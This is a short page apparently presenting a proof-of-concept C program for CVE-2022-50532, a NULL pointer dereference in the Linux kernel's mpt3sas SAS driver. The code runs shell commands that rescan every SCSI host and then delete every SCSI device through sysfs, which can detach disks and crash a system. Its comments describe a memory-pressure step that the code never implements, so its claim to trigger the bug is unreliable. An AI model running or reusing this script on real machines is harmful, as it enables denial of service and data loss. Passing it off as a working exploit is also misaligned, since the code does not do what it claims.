CVE-2022-50532 Linux内核mpt3sas驱动资源泄漏导致空指针解引用漏洞

// CVE-2022-50532 PoC - Trigger NULL pointer dereference via mpt3sas resource leak // This PoC triggers the vulnerability by causing sas_rphy_add() to fail // while the device is in an inconsistent state, then triggering removal. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <linux/scsi/sg.h> /* * The vulnerability is triggered when: * 1. A SAS device is being added via mpt3sas_transport_port_add() * 2. sas_rphy_add() returns an error (e.g., due to resource constraints) * 3. The error path doesn't call sas_rphy_free() to free allocated resources * 4. Later, when the device is removed, sas_rphy_remove() is called * 5. NULL pointer dereference occurs in device_del() * * To trigger this from userspace, we can: * - Force a hot-plug event on a SAS port while system is under memory pressure * - Or use sysfs to trigger specific SCSI host operations */ #define SYSFS_SCSI_HOST_PATH "/sys/class/scsi_host" int trigger_sas_rphy_add_failure() { /* Step 1: Find a mpt3sas SCSI host */ /* Look for /sys/class/scsi_host/hostX where driver is mpt3sas */ /* Step 2: Create memory pressure to cause sas_rphy_add() to fail */ /* Allocate large amounts of memory to exhaust resources */ /* Step 3: Trigger SAS device rescan which calls mpt3sas_transport_port_add() */ /* echo "- - -" > /sys/class/scsi_host/hostX/scan */ /* Step 4: The error in sas_rphy_add() leaves resources unfreed */ /* Step 5: Device removal triggers NULL pointer dereference */ printf("Triggering CVE-2022-50532...\n"); /* Force SAS device rescan */ system("echo '- - -' > /sys/class/scsi_host/host*/scan 2>/dev/null"); /* Trigger device removal */ system("echo 1 > /sys/bus/scsi/devices/*/delete 2>/dev/null"); return 0; } int main(int argc, char *argv[]) { /* Create memory pressure to increase chance of allocation failure */ /* This makes sas_rphy_add() more likely to fail */ return trigger_sas_rphy_add_failure(); }